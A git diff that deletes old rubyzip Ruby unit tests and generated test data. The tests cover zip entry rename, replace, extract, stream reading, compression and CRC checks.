targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/data/generated/5entry.zip b/lib/zip/test/data/generated/5entry.zip deleted file mode 100644 index ef580052ed..0000000000 Binary files a/lib/zip/test/data/generated/5entry.zip and /dev/null differ diff --git a/lib/zip/test/data/generated/empty.txt b/lib/zip/test/data/generated/empty.txt deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/zip/test/data/generated/empty.zip b/lib/zip/test/data/generated/empty.zip deleted file mode 100644 index 15cb0ecb3e..0000000000 Binary files a/lib/zip/test/data/generated/empty.zip and /dev/null differ diff --git a/lib/zip/test/data/generated/empty_chmod640.txt b/lib/zip/test/data/generated/empty_chmod640.txt deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/zip/test/data/generated/emptytestdir/.keep b/lib/zip/test/data/generated/emptytestdir/.keep deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/zip/test/data/generated/longAscii.txt b/lib/zip/test/data/generated/longAscii.txt deleted file mode 100644 index 91e1cc1ce0..0000000000 --- a/lib/zip/test/data/generated/longAscii.txt +++ /dev/null @@ -1,4512 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - 